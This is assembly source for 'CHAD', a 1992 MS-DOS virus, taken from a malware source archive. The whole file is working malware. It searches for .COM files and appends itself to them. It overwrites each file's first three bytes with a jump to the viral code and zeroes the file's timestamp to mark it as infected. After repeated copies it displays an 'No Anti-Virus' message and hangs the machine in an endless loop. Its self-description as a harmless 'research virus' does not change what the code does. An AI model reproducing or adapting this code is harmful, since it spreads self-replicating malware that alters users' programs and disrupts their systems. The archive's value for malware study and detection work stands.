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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.chad.asm
vxunderground 99a7802ac0
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2021-01-12 17:34:47 -06:00

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;***************************************************************************
;* *
;* CHAD - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written By : *.****** (*** ******** *******) *
;* *
;* Non-Overwriting Virus To Persuade Users To Get Some Anti-Virus *
;* Software, While Having Some Fun. *
;***************************************************************************
CODE Segment
Assume CS:CODE
progr equ 100h
org progr
virus_size EQU vir_end-vir_start
variable_diff EQU variables_start-vir_start
chad:
call vir_start ;call virus
mov ah,4ch ;return to operating system
int 21h ;thru' dos interrupt 21h
vir_start:
call next_byte ;call next address
next_byte:
pop ax ;get next_byte address
sub ax,3 ;get virus address
pop di ;get program start address
push ax ;save virus address
mov si,ax ;get address of next_byte
mov ax,variable_diff ;add difference
add si,ax ;get variables address
push si ;save si
mov ax,18 ;counter = variables+18
add si,ax ;and point to it
mov al,byte [si] ;get byte in counter
add al,1 ;add 1 to it
mov byte [si],al ;and save again
and al,10 ;set counter
cmp al,10 ;has it been copied 10 times?
jnz over_chad ;if not jump over
mov ax,03h ;jump over to message line 1
add si,ax ;si = message
mov cx,10 ;set counter to print
print_chad:
push cx ;save counter
mov ah,0fh ;get current display page
int 10h ;call bios routine
mov ah,02h ;set cursor position
mov dl,18 ;set column
mov dh,cl ;set line (backwards)
add dh,5 ;place in middle of screen
int 10h ;call bios routine
mov dx,si ;move to dx
mov ah,09h ;print string
int 21h ;call dos
pop cx ;restore counter
add si,42 ;point to next string
loop print_chad ;loop 'till done
print_chad1:
jmp print_chad1 ;infinite loop
over_chad:
pop si ;restore variables address
pop ax ;get variables difference
mov [si],ax ;and save
mov ax,3 ;move to old address
sub di,ax ;start of .com file
mov [si+2],di
mov ax,[si+4] ;get two bytes from old code
mov [di],ax ;and place at start of file
mov al,[si+6] ;get last byte of old code
mov [di+2],al ;and place at start of .COM file
mov dx,si ;which is copied to destination
mov ax,12 ;add 3 to variables address
add dx,ax ;and save file control block
;search for first
mov ah,4eh ;search for first
xor cx,cx ;attributes to search
int 21h ;call dos
jnc found_one ;if file found jump over
jmp return_to_prog ;if no file found return to program
found_one:
mov ah,2fh ;get DTA address into es:bx
int 21h ;call dos
mov ax,22 ;jump over to time
add bx,ax ;and point to it
mov al,es:[bx] ;and place in ax
and al,00000111b ;get seconds only
cmp al,00h ;zero seconds?
jnz infect_program ;if not infect program
mov ah,4fh ;find next file
int 21h ;call dos
cmp ax,12h ;any more files left?
jz return_to_prog ;no! return to program
jmp short found_one ;jump back
infect_program:
mov dx,8 ;jump to asciiz fcb
add dx,bx ;add to bx
mov ax,3d02h ;open file for writing
int 21h ;call dos
jnc continue ;continue if no error
mov ah,4fh ;search for next
xor cx,cx ;attributes to search
int 21h ;call dos
jc return_to_prog ;if no file found return to program
jmp short found_one ;jump forward if one found
continue:
mov bx,ax ;transfer file handle to bx
;read first three bytes
mov ah,3fh ;read file
mov cx,3 ;number of bytes to read
mov dx,si ;point to buffer to read
add dx,4
int 21h ;call dos
mov ax,4202h ;move file pointer to end of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
sub ax,3
mov word [si+08h],ax ;and store
mov ah,40h ;write to file
mov cx,virus_size ;set counter to write
mov dx,[si]
int 21h ;and write to file
mov ax,4200h ;move file pointer to start of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
mov ah,40h ;write to file
mov cx,3 ;set counter to write
mov di,si
add di,9
mov dx,di ;point to buffer to start
int 21h ;and write to file
mov ax,5701h ;set date & time
xor cx,cx ;time set to zero
xor dx,dx ;and date
int 21h ;and do it
mov ah,3eh ;close file
int 21h ;thru' dos
return_to_prog:
mov ax,cs ;get code segment
mov es,ax ;reset extra segment
mov ax,0100h ;start of .COM file
mov di,ax ;set destination address
jmp ax ;jump to start of program
variables_start:
db 0,0
db 0,0
old_add:
db 0e8h,0,0
db 0,0
jump_code:
db 0e8h,0,0
fcb:
db "*.COM",0
counter:
db 0
date:
db 0
time:
db 0
chad1:
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$"
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$"
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Software ..... <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$"
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WOT!! No Anti - Virus <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$"
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$"
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$"
db "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WW<57><57><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>WW<57><57><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$"
db " <20> O O <20> $"
db " / \ $"
db " ______ $"
chad2:
db "CHAD Against Damaging Viruses ... Save Our Software. 1992.$"
variables_end:
vir_end:
CODE ENDS
END chad

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